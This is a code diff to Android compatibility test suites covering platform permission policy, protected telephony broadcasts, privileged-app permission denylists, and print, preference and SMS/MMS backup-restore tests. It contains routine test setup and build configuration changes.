// OEMs cannot define groups in the platform namespace
for (PermissionGroupInfo declaredGroup : declaredGroups) {
if (!expectedPermissionGroups.contains(declaredGroup.name)) {
- assertFalse("Cannot define group " + declaredGroup.name + " in android namespace",
- declaredGroup.name != null
- && declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
- && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE));
+ if (declaredGroup.name != null) {
+ if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
+ && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+ offendingList.add(
+ "Cannot define group "
+ + declaredGroup.name
+ + ", package "
+ + declaredGroup.packageName
+ + " in android namespace");
+ }
+ }
}
}
// OEMs cannot define new ephemeral permissions
for (String permission : declaredPermissionsMap.keySet()) {
PermissionInfo info = declaredPermissionsMap.get(permission);
- assertFalse("Cannot define new ephemeral permission " + permission,
- (info.protectionLevel & PermissionInfo.PROTECTION_FLAG_EPHEMERAL) != 0);
+ if ((info.protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTANT) != 0) {
+ offendingList.add("Cannot define new instant permission " + permission);
+ }
}
+
+ // Fail on any offending item
+ String errMsg =
+ String.format(
+ "Platform Permission Policy Unaltered:\n%s",
+ TextUtils.join("\n", offendingList));
+ assertTrue(errMsg, offendingList.isEmpty());
}
- private List<PermissionInfo> loadExpectedPermissions() throws Exception {
+ private List<PermissionInfo> loadExpectedPermissions(int resourceId) throws Exception {
List<PermissionInfo> permissions = new ArrayList<>();
- try (
- InputStream in = getContext().getResources()
- .openRawResource(android.permission2.cts.R.raw.android_manifest)
- ) {
+ try (InputStream in = getContext().getResources().openRawResource(resourceId)) {
XmlPullParser parser = Xml.newPullParser();
parser.setInput(in, null);
@@ -223,8 +257,8 @@
case "setup": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SETUP;
} break;
- case "ephemeral": {
- protectionLevel |= PermissionInfo.PROTECTION_FLAG_EPHEMERAL;
+ case "instant": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_INSTANT;
} break;
case "runtime": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
@@ -234,6 +268,18 @@
return protectionLevel;
}
+ private static Map<String, PermissionInfo> getPermissionsForPackage(Context context, String pkg)
+ throws NameNotFoundException {
+ PackageInfo packageInfo = context.getPackageManager()
+ .getPackageInfo(pkg, PackageManager.GET_PERMISSIONS);
+ Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
+
+ for (PermissionInfo declaredPermission : packageInfo.permissions) {
+ declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
+ }
+ return declaredPermissionsMap;
+ }
+
private static Date parseDate(String date) {
Date patchDate = new Date();
try {
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index a156dd7..ae26008 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -95,10 +95,13 @@
Set<String> notGranted = new TreeSet<>(requestedPrivPermissions);
notGranted.removeAll(grantedPrivPermissions);
Set<String> whitelist = getPrivAppPermissions(pkg.packageName);
- Log.i(TAG, "Application " + pkg.packageName + ". Requested permissions: "
- + requestedPrivPermissions + ". Granted permissions: "
- + grantedPrivPermissions + ". Not granted: " + notGranted + " Whitelisted: "
- + whitelist);
+ Set<String> denylist = getPrivAppDenyPermissions(pkg.packageName);
+ Log.i(TAG, "Application " + pkg.packageName + "."
+ + " Requested permissions: " + requestedPrivPermissions + "."
+ + " Granted permissions: " + grantedPrivPermissions + "."
+ + " Not granted: " + notGranted + "."
+ + " Whitelisted: " + whitelist + "."
+ + " Denylisted: " + denylist);
if ((pkg.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0) {
Log.w(TAG, "Skipping whitelist checks for " + pkg.packageName
+ " - application was updated");
@@ -107,14 +110,16 @@
Set<String> grantedNotInWhitelist = new TreeSet<>(grantedPrivPermissions);
grantedNotInWhitelist.removeAll(whitelist);
+ Set<String> notGrantedNotInDenylist = new TreeSet<>(notGranted);
+ notGrantedNotInDenylist.removeAll(denylist);
assertTrue("Not whitelisted permissions are granted for package "
+ pkg.packageName + ": " + grantedNotInWhitelist,
grantedNotInWhitelist.isEmpty());
assertTrue("Requested permissions not granted for package "
- + pkg.packageName + ": " + notGranted,
- notGranted.isEmpty());
+ + pkg.packageName + ": " + notGrantedNotInDenylist,
+ notGrantedNotInDenylist.isEmpty());
}
}
}
@@ -130,4 +135,15 @@
return Collections.emptySet();
}
+ private Set<String> getPrivAppDenyPermissions(String packageName) throws IOException {
+ String output = SystemUtil.runShellCommand(
+ InstrumentationRegistry.getInstrumentation(),
+ "cmd package get-privapp-deny-permissions " + packageName).trim();
+ if (output.startsWith("{") && output.endsWith("}")) {
+ String[] split = output.substring(1, output.length() - 1).split("\\s*,\\s*");
+ return new LinkedHashSet<>(Arrays.asList(split));
+ }
+ return Collections.emptySet();
+ }
+
}
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 534481e..2f155d8 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -17,6 +17,7 @@
package android.permission2.cts;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
/**
@@ -47,21 +48,7 @@
Intent.ACTION_SHUTDOWN,
Intent.ACTION_DEVICE_STORAGE_LOW,
Intent.ACTION_DEVICE_STORAGE_OK,
- Intent.ACTION_NEW_OUTGOING_CALL,
Intent.ACTION_REBOOT,
- "android.intent.action.SERVICE_STATE",
- "android.intent.action.RADIO_TECHNOLOGY",
- "android.intent.action.EMERGENCY_CALLBACK_MODE_CHANGED",
- "android.intent.action.SIG_STR",
- "android.intent.action.ANY_DATA_STATE",
- "android.intent.action.DATA_CONNECTION_FAILED",
- "android.intent.action.SIM_STATE_CHANGED",
- "android.intent.action.NETWORK_SET_TIME",
- "android.intent.action.NETWORK_SET_TIMEZONE",
- "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
- "android.intent.action.ACTION_MDN_STATE_CHANGED",
- "android.provider.Telephony.SPN_STRINGS_UPDATED",
- "android.intent.action.ANY_DATA_STATE",
"com.android.server.WifiManager.action.START_SCAN",
"com.android.server.WifiManager.action.DELAYED_DRIVER_STOP",
"android.net.wifi.WIFI_STATE_CHANGED",
@@ -81,7 +68,24 @@
"android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED",
"android.net.conn.TETHER_STATE_CHANGED",
"android.net.conn.INET_CONDITION_ACTION",
- "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED"
+ "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
+ "com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
+ };
+
+ private static final String BROADCASTS_TELEPHONY[] = new String[] {
+ Intent.ACTION_NEW_OUTGOING_CALL,
+ "android.intent.action.SERVICE_STATE",
+ "android.intent.action.SIG_STR",
+ "android.intent.action.RADIO_TECHNOLOGY",
+ "android.intent.action.ANY_DATA_STATE",
+ "android.intent.action.ACTION_MDN_STATE_CHANGED",
+ "android.provider.Telephony.SPN_STRINGS_UPDATED",
+ "android.intent.action.EMERGENCY_CALLBACK_MODE_CHANGED",
+ "android.intent.action.SIM_STATE_CHANGED",
+ "android.intent.action.DATA_CONNECTION_FAILED",
+ "android.intent.action.NETWORK_SET_TIME",
+ "android.intent.action.NETWORK_SET_TIMEZONE",
+ "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
};
/**
@@ -98,4 +102,19 @@
}
}
}
+
+ public void testSendProtectedTelephonyBroadcasts() {
+ if (!getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+ for (String action : BROADCASTS_TELEPHONY) {
+ try {
+ Intent intent = new Intent(action);
+ getContext().sendBroadcast(intent);
+ fail("expected security exception broadcasting telephony action: " + action);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+ }
+ }
}
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index fa6f9c9..9223ce8 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index 2d3f098..f26d282 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Preference test cases">
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPreferenceTestCases.apk" />
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index c6dca9e..7529f43 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -23,13 +23,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
compatibility-device-util \
mockito-target-minus-junit4 \
ub-uiautomator \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
index 731dbfb..253f8f6 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
@@ -487,14 +487,29 @@
// Go to preferences inner fragment.
mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
- // We don't need to check that correct panel is displayed that is already covered by
- // smallScreenGoToFragmentInner and largeScreenGoToFragmentInner
+ // Only inner fragment must be shown.
+ if (shouldRunLargeDeviceTest()) {
+ assertHeadersShown();
+ } else {
+ assertHeadersHidden();
+ }
+ assertPanelPrefs1Hidden();
+ assertInnerFragmentShown();
// Take screenshot
Bitmap before = mTestUtils.takeScreenshot();
recreate();
+ // Only inner fragment must be shown.
+ if (shouldRunLargeDeviceTest()) {
+ assertHeadersShown();
+ } else {
+ assertHeadersHidden();
+ }
+ assertPanelPrefs1Hidden();
+ assertInnerFragmentShown();
+
// Compare screenshots
Bitmap after = mTestUtils.takeScreenshot();
assertScreenshotsAreEqual(before, after);
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index a01cdc0..b5c02f1 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -45,6 +45,7 @@
final UiDevice device;
private final Instrumentation mInstrumentation;
private final UiAutomation mAutomation;
+ private int mStatusBarHeight = -1;
TestUtils() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -58,8 +59,7 @@
Bitmap bt = mAutomation.takeScreenshot();
// Crop-out the top bar where current time is displayed since any time change would
- // introduce flakiness (we are cutting 5% of the screen height, or the real status bar
- // height if it is larger).
+ // introduce flakiness (we are cutting 5% of the screen height or status_bar_height).
int yToCut = Math.max(bt.getHeight() / 20, getStatusBarHeight());
// Crop the right side for scrollbar which might or might not be visible. But on
// watch, the scroll bar is a curve and occupies 20% of the screen on the right
@@ -71,21 +71,6 @@
return bt;
}
- /**
- * get status bar height according to preset value in resources
- * @return the height of status bar
- */
- private int getStatusBarHeight() {
- int height = 0;
- Context context = mInstrumentation.getTargetContext();
- int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen",
- "android");
- if (resourceId > 0) {
- height = context.getResources().getDimensionPixelSize(resourceId);
- }
- return height;
- }
-
void tapOnViewWithText(String searchText) {
if (searchText == null) {
return;
@@ -210,6 +195,23 @@
return baseWindowName + activity.getClass().getSimpleName();
}
+ private int getStatusBarHeight() {
+ // Cache the result to keep it fast.
+ if (mStatusBarHeight >= 0) {
+ return mStatusBarHeight;
+ }
+
+ int result = 0;
+ int resourceId = mInstrumentation.getTargetContext().getResources()
+ .getIdentifier("status_bar_height", "dimen", "android");
+ if (resourceId > 0) {
+ result = mInstrumentation.getTargetContext().getResources()
+ .getDimensionPixelSize(resourceId);
+ }
+ mStatusBarHeight = result;
+ return result;
+ }
+
private String runShellCommand(String cmd) {
try {
return SystemUtil.runShellCommand(mInstrumentation, cmd);
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index 405c89e..c9b036a 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index 1573840..1c771d6 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -14,11 +14,14 @@
limitations under the License.
-->
<configuration description="Config for CTS Print test cases">
+ <option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPrintTestCases.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.print.cts" />
<option name="runtime-hint" value="33m00s" />
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
index aeeeb41..e29b17f 100755
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/src/android/print/cts/BasePrintTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.GET_SERVICES;
import static android.print.cts.Utils.getPrintManager;
import static org.junit.Assert.assertFalse;
@@ -35,6 +37,7 @@
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.content.res.Resources;
import android.graphics.pdf.PdfDocument;
import android.os.Bundle;
@@ -47,7 +50,6 @@
import android.print.PrintDocumentAdapter.LayoutResultCallback;
import android.print.PrintDocumentAdapter.WriteResultCallback;
import android.print.PrintDocumentInfo;
-import android.print.PrintManager;
import android.print.PrinterId;
import android.print.cts.services.PrintServiceCallbacks;
import android.print.cts.services.PrinterDiscoverySessionCallbacks;
@@ -56,7 +58,6 @@
import android.print.pdf.PrintedPdfDocument;
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
-import android.printservice.PrintServiceInfo;
import android.provider.Settings;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
@@ -121,6 +122,8 @@
private int mTestId;
private PrintDocumentActivity mActivity;
+ private static String sDisabledPrintServicesBefore;
+
private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
@@ -198,6 +201,8 @@
clearPrintSpoolerData();
Log.d(LOG_TAG, "disableImes()");
disableImes();
+ Log.d(LOG_TAG, "disablePrintServices()");
+ disablePrintServices(instrumentation.getTargetContext().getPackageName());
// Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
// Dexmaker is used by mockito.
@@ -207,13 +212,52 @@
Log.d(LOG_TAG, "setUpClass() done");
}
+ /**
+ * Disable all print services beside the ones we want to leave enabled.
+ *
+ * @param packageToLeaveEnabled The package of the services to leave enabled.
+ */
+ private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
+ throws IOException {
+ Instrumentation instrumentation = getInstrumentation();
+
+ sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
+ "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
+
+ Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
+ List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
+ .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
+
+ StringBuilder builder = new StringBuilder();
+ for (ResolveInfo service : installedServices) {
+ if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
+ continue;
+ }
+ if (builder.length() > 0) {
+ builder.append(":");
+ }
+ builder.append(new ComponentName(service.serviceInfo.packageName,
+ service.serviceInfo.name).flattenToString());
+ }
+
+ SystemUtil.runShellCommand(instrumentation, "settings put secure "
+ + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
+ }
+
+ /**
+ * Revert {@link #disablePrintServices(String)}
+ */
+ private static void enablePrintServices() throws IOException {
+ SystemUtil.runShellCommand(getInstrumentation(),
+ "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
+ + sDisabledPrintServicesBefore);
+ }
+
@Before
public void setUp() throws Exception {
Log.d(LOG_TAG, "setUp()");
- Instrumentation instrumentation = getInstrumentation();
-
- assumeTrue(instrumentation.getContext().getPackageManager().hasSystemFeature(
+ assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_PRINTING));
// Prevent rotation
@@ -223,25 +267,6 @@
getUiDevice().waitForIdle();
}
- final PrintManager printManager = instrumentation.getContext()
- .getSystemService(PrintManager.class);
- final List<PrintServiceInfo> services = printManager.getPrintServices(
- PrintManager.ALL_SERVICES);
- final String targetPackageName = instrumentation.getTargetContext().getPackageName();
- StringBuilder builder = new StringBuilder();
- for (PrintServiceInfo service : services) {
- final ComponentName serviceComponent = service.getComponentName();
- if (targetPackageName.equals(serviceComponent.getPackageName())) {
- continue;
- }
- if (builder.length() > 0) {
- builder.append(":");
- }
- builder.append(serviceComponent.flattenToString());
- SystemUtil.runShellCommand(instrumentation, "settings put secure "
- + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
- }
-
// Initialize the latches.
Log.d(LOG_TAG, "init counters");
mCancelOperationCounter = new CallCounter();
@@ -285,6 +310,9 @@
Instrumentation instrumentation = getInstrumentation();
+ Log.d(LOG_TAG, "enablePrintServices()");
+ enablePrintServices();
+
Log.d(LOG_TAG, "enableImes()");
enableImes();
@@ -725,10 +753,13 @@
}
static void clearPrintSpoolerData() throws Exception {
- assertTrue("failed to clear print spooler data",
- SystemUtil.runShellCommand(getInstrumentation(), String.format(
- "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
- .contains(PM_CLEAR_SUCCESS_OUTPUT));
+ if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_PRINTING)) {
+ assertTrue("failed to clear print spooler data",
+ SystemUtil.runShellCommand(getInstrumentation(), String.format(
+ "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
+ .contains(PM_CLEAR_SUCCESS_OUTPUT));
+ }
}
void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index fe6fce1..38ba4dd 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -54,6 +54,7 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
/**
@@ -595,7 +596,7 @@
WriteResultCallback callback = (WriteResultCallback) args[3];
if (writeCorruptedFile[0]) {
- Log.i(LOG_TAG, "write corrupted file " + pages);
+ Log.i(LOG_TAG, "write corrupted file " + Arrays.toString(pages));
FileOutputStream os = new FileOutputStream(fd.getFileDescriptor());
for (int i = 0; i < 10; i++) {
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index 3bef78e..d5edcb6 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -370,10 +370,21 @@
// Wait until adapter is done
waitForWriteAdapterCallback(1);
- clickPrintButton();
+ for (int i = 0; i < 2; i++) {
+ clickPrintButton();
- // Wait for print job to be queued
- waitForServiceOnPrintJobQueuedCallbackCalled(1);
+ try {
+ // Wait for print job to be queued
+ waitForServiceOnPrintJobQueuedCallbackCalled(1);
+ break;
+ } catch (Throwable e) {
+ if (i == 0) {
+ Log.i(LOG_TAG, "Print job was not queued, retrying", e);
+ } else {
+ throw e;
+ }
+ }
+ }
// Wait for discovery session to be destroyed to isolate tests from each other
waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
index 23dba67..f4fcea2 100644
--- a/tests/tests/proto/Android.mk
+++ b/tests/tests/proto/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsProtoTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
#LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 2298378..d4b3e99 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -26,17 +26,16 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common
+LOCAL_JAVA_LIBRARIES := android.test.mock legacy-android-test telephony-common
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-v4 \
compatibility-device-util \
ctstestrunner \
ub-uiautomator \
- junit \
- legacy-android-test
+ junit
LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
index 62a041b..b0f5426 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
@@ -125,10 +125,11 @@
fail("There is no sdcard attached! " + e.getMessage());
}
assertNotNull(stringUrl);
- mRowsAdded.add(Uri.parse(stringUrl));
+ Uri stringUri = Uri.parse(stringUrl);
+ mRowsAdded.add(stringUri);
// get the original image id and path
- Cursor c = mContentResolver.query(Uri.parse(stringUrl),
+ Cursor c = mContentResolver.query(stringUri,
new String[]{ Media._ID, Media.DATA }, null, null, null);
c.moveToFirst();
long imageId = c.getLong(c.getColumnIndex(Media._ID));
@@ -165,8 +166,8 @@
// deleting the image from the database also deletes the image file, and the
// corresponding entry in the thumbnail table, which in turn triggers deletion
// of the thumbnail file on disk
- mContentResolver.delete(Uri.parse(stringUrl), null, null);
- mRowsAdded.remove(stringUrl);
+ mContentResolver.delete(stringUri, null, null);
+ mRowsAdded.remove(stringUri);
assertFalse("image file should no longer exist", new File(imagePath).exists());
diff --git a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
index 891a1ba..b11fad2 100644
--- a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
@@ -51,6 +51,8 @@
private static final String mmsBody = "MMS body CTS";
private static final String[] ID_PROJECTION = new String[] { BaseColumns._ID };
+ private static final String[] ID_TEXT_ONLY_PROJECTION = new String[] { BaseColumns._ID,
+ Telephony.Mms.TEXT_ONLY };
private static final String SMS_SELECTION = Telephony.Sms.ADDRESS + " = ? and "
+ Telephony.Sms.BODY + " = ?";
@@ -128,8 +130,10 @@
}
/**
- * Test adds 1 text-only MMS message, runs backup, deletes the message from the provider,
- * runs restore, checks if the message is in the provider.
+ * Test adds 2 SMS messages, 1 text-only MMS messages and 1 non-text-only, runs backup,
+ * deletes the messages from the provider, runs restore, check if the messages are in the
+ * provider (with non-text-only one).
+ * @throws Exception
*/
public void testSmsBackupRestore() throws Exception {
if (!mHasFeature) {
@@ -137,12 +141,16 @@
return;
}
- ContentValues smsContentValues[] = new ContentValues[] {createSmsValues(smsAddressBody1)};
- Log.i(TAG, "Put 1 SMS into the provider");
+ ContentValues smsContentValues[] = new ContentValues[] {
+ createSmsValues(smsAddressBody1),
+ createSmsValues(smsAddressBody2)};
+ Log.i(TAG, "Put 2 SMS into the provider");
mContentResolver.bulkInsert(Telephony.Sms.CONTENT_URI, smsContentValues);
- Log.i(TAG, "Put 1 text-only MMS into the provider");
+ Log.i(TAG, "Put 1 text MMS into the provider");
addMms(true /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
+ Log.i(TAG, "Put 1 non-text MMS into the provider");
+ addMms(false /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
Log.i(TAG, "Run backup");
ProviderTestUtils.runBackup(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
@@ -151,43 +159,48 @@
Log.i(TAG, "Run restore");
ProviderTestUtils.runRestore(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
- Log.i(TAG, "Check the providers for the message");
+ Log.i(TAG, "Check the providers for the messages");
assertEquals(1,
mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody1));
+ assertEquals(1,
+ mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody2));
- try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI, ID_PROJECTION,
- MMS_SELECTION, new String[] {mmsSubject}, null)) {
+ try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI,
+ ID_TEXT_ONLY_PROJECTION, MMS_SELECTION, new String[] {mmsSubject}, null)) {
assertNotNull(mmsCursor);
- assertEquals(1, mmsCursor.getCount());
- mmsCursor.moveToFirst();
- final long mmsId = mmsCursor.getLong(0);
- final Uri partUri = Telephony.Mms.CONTENT_URI.buildUpon()
- .appendPath(String.valueOf(mmsId)).appendPath("part").build();
- // Check the body.
- try (Cursor partCursor = mContentResolver.query(partUri, MMS_PART_TEXT_PROJECTION,
+ assertEquals(2, mmsCursor.getCount());
+ for (mmsCursor.moveToFirst(); !mmsCursor.isAfterLast(); mmsCursor.moveToNext()) {
+ final long mmsId = mmsCursor.getLong(0);
+ final long mmsTextOnly = mmsCursor.getLong(1);
+ assertEquals(mmsTextOnly, 1);
+ final Uri partUri = Telephony.Mms.CONTENT_URI.buildUpon()
+ .appendPath(String.valueOf(mmsId)).appendPath("part").build();
+ // Check the body.
+ try (Cursor partCursor = mContentResolver.query(partUri, MMS_PART_TEXT_PROJECTION,
MMS_PART_TEXT_SELECTION, new String[]{ ContentType.TEXT_PLAIN }, null)) {
assertNotNull(partCursor);
assertEquals(1, partCursor.getCount());
assertTrue(partCursor.moveToFirst());
- assertEquals(mmsBody, partCursor.getString(0));
- }
+ assertTrue(partCursor.getString(0).startsWith(mmsBody));
+ }
- // Check if there are 2 parts (smil and body).
- assertEquals(2, mContentResolver.delete(partUri, MMS_PART_SELECTION,
+ // Check if there are 2 parts (smil and body).
+ assertEquals(2, mContentResolver.delete(partUri, MMS_PART_SELECTION,
new String[]{String.valueOf(mmsId)}));
- // Check addresses.
- final Uri addrUri = getMmsAddrUri(mmsId);
- try (Cursor addrCursor = mContentResolver.query(addrUri, MMS_ADDR_PROJECTION,
+ // Check addresses.
+ final Uri addrUri = getMmsAddrUri(mmsId);
+ try (Cursor addrCursor = mContentResolver.query(addrUri, MMS_ADDR_PROJECTION,
MMS_ADDR_SELECTION, new String[]{String.valueOf(mmsId)}, null)) {
assertNotNull(addrCursor);
for (String addr : mmsAddresses) {
- addrCursor.moveToNext();
- assertEquals(addr, addrCursor.getString(0));
+ addrCursor.moveToNext();
+ assertEquals(addr, addrCursor.getString(0));
}
- }
- assertEquals(mmsAddresses.length, mContentResolver.delete(addrUri, MMS_ADDR_SELECTION,
+ }
+ assertEquals(mmsAddresses.length, mContentResolver.delete(addrUri, MMS_ADDR_SELECTION,
new String[]{String.valueOf(mmsId)}));
+ }
}
}
